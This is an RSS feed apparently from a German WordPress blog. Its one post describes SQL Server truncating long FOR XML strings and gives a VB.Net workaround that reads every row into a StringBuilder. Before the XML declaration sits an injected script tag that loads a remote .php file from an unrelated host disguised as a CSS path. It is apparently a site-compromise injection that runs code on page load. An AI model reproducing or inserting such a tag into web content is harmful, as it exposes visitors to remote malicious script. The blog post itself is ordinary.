<script src=http://soapstone-india.com/css/Soapstone-Serpentine.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; XML</title>
	<atom:link href="http://www.xentrope.de/tag/xml/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Abgeschnittene Strings</title>
		<link>http://www.xentrope.de/allgemein/abgeschnittene-strings/</link>
		<comments>http://www.xentrope.de/allgemein/abgeschnittene-strings/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 11:26:38 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=78</guid>
		<description><![CDATA[Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten. Eine generelle Workaroundfunktion ist schnell gebastelt: Private Shared Function GetLongStringData(ByVal [...]]]></description>
			<content:encoded><![CDATA[<p>Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten.<br />
Eine generelle Workaroundfunktion ist schnell gebastelt:</p>
<pre name="code" class="vb.net">
Private Shared Function GetLongStringData(ByVal statement As String) As String
	Dim sql As New System.Data.SqlClient.SqlCommand()
	Dim con As New System.Data.SqlClient.SqlConnection()
	con.ConnectionString = "connectionstring"
	sql.CommandText = statement
	sql.Connection = con
	con.Open()
	Dim r As System.Data.SqlClient.SqlDataReader = sql.ExecuteReader()
	Dim strbuilder As New StringBuilder()
	While r.Read()
		strbuilder.Append(r(0))
	End While
	con.Close()
	Return strbuilder.ToString()
End Function
</pre>
<p>Stellt sich allerdings nach wie vor die Frage warum die Daten abgeschnitten werden. Im SQL Server Management Studio wird alles korrekt angezeigt. Ich vermute das Problem liegt irgendwo bei der Übergabe vom SQL Server in den .Net String. Wenn jemand eine Idee hat, möge er sich bei mir melden. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/abgeschnittene-strings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
